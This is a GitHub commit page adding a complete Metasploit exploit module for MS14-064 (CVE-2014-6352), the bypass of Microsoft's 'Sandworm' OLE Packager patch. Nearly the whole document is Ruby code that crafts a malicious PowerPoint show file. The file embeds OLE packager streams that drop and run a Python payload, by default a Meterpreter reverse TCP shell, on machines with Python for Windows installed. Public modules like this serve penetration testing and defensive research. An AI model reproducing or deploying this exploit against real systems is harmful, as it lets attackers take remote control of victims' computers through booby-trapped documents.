Skip to content

Commit 5a54537

Browse files
committed
Land rapid7#4196 - MS14-064 bypassing UAC
2 parents cd7b69b + 31f3aa1 commit 5a54537

File tree

1 file changed

+152
-0
lines changed

1 file changed

+152
-0
lines changed
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python",
17+
'Description' => %q{
18+
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
19+
allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability
20+
publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista
21+
SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.
22+
However, based on our testing, the most reliable setup is on Windows platforms running
23+
Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such as
24+
using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to a
25+
failure in the CPackage::CreateTempFileName function.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Haifei Li', # Vulnerability discovery and exploit technique
31+
'sinn3r', # Metasploit module
32+
'juan vazquez' # Metasploit module
33+
],
34+
'References' =>
35+
[
36+
['CVE', '2014-6352'],
37+
['MSB', 'MS14-064'],
38+
['BID', '70690'],
39+
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm']
40+
],
41+
'Platform' => 'python',
42+
'Arch' => ARCH_PYTHON,
43+
'Targets' =>
44+
[
45+
['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}],
46+
],
47+
'Privileged' => false,
48+
'DefaultOptions' =>
49+
{
50+
'Payload' => 'python/meterpreter/reverse_tcp'
51+
},
52+
'DisclosureDate' => "Nov 12 2014",
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])
58+
], self.class)
59+
end
60+
61+
def exploit
62+
print_status("Creating '#{datastore['FILENAME']}' file ...")
63+
payload_packager = create_packager('tabnanny.py', payload.encoded)
64+
trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10)))
65+
zip = zip_ppsx(payload_packager, trigger_packager)
66+
file_create(zip)
67+
end
68+
69+
def zip_ppsx(ole_payload, ole_trigger)
70+
zip_data = {}
71+
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
72+
73+
Dir["#{data_dir}/**/**"].each do |file|
74+
unless File.directory?(file)
75+
zip_data[file.sub(data_dir,'')] = File.read(file)
76+
end
77+
end
78+
79+
# add the otherwise skipped "hidden" file
80+
file = "#{data_dir}/_rels/.rels"
81+
zip_data[file.sub(data_dir,'')] = File.read(file)
82+
83+
# put our own OLE streams
84+
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload
85+
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger
86+
87+
# create the ppsx
88+
ppsx = Rex::Zip::Archive.new
89+
zip_data.each_pair do |k,v|
90+
ppsx.add_file(k,v)
91+
end
92+
93+
ppsx.pack
94+
end
95+
96+
def create_packager(file_name, contents)
97+
file_info = [2].pack('v')
98+
file_info << "#{file_name}\x00"
99+
file_info << "#{file_name}\x00"
100+
file_info << "\x00\x00"
101+
102+
extract_info = [3].pack('v')
103+
extract_info << [file_name.length + 1].pack('V')
104+
extract_info << "#{file_name}\x00"
105+
106+
file = [contents.length].pack('V')
107+
file << contents
108+
109+
append_info = [file_name.length].pack('V')
110+
append_info << Rex::Text.to_unicode(file_name)
111+
append_info << [file_name.length].pack('V')
112+
append_info << Rex::Text.to_unicode(file_name)
113+
append_info << [file_name.length].pack('V')
114+
append_info << Rex::Text.to_unicode(file_name)
115+
116+
ole_data = file_info + extract_info + file + append_info
117+
ole_contents = [ole_data.length].pack('V') + ole_data
118+
119+
ole = create_ole("\x01OLE10Native", ole_contents)
120+
121+
ole
122+
end
123+
124+
def create_ole(stream_name, data)
125+
ole_tmp = Rex::Quickfile.new('ole')
126+
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
127+
128+
stm = stg.create_stream(stream_name)
129+
stm << data
130+
stm.close
131+
132+
directory = stg.instance_variable_get(:@directory)
133+
directory.each_entry do |entry|
134+
if entry.instance_variable_get(:@_ab) == 'Root Entry'
135+
# 0003000C-0000-0000-c000-000000000046 # Packager
136+
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
137+
entry.instance_variable_set(:@_clsId, clsid)
138+
end
139+
end
140+
141+
# write to disk
142+
stg.close
143+
144+
ole_contents = File.read(ole_tmp.path)
145+
ole_tmp.close
146+
ole_tmp.unlink
147+
148+
ole_contents
149+
end
150+
151+
end
152+

0 commit comments

Comments
 (0)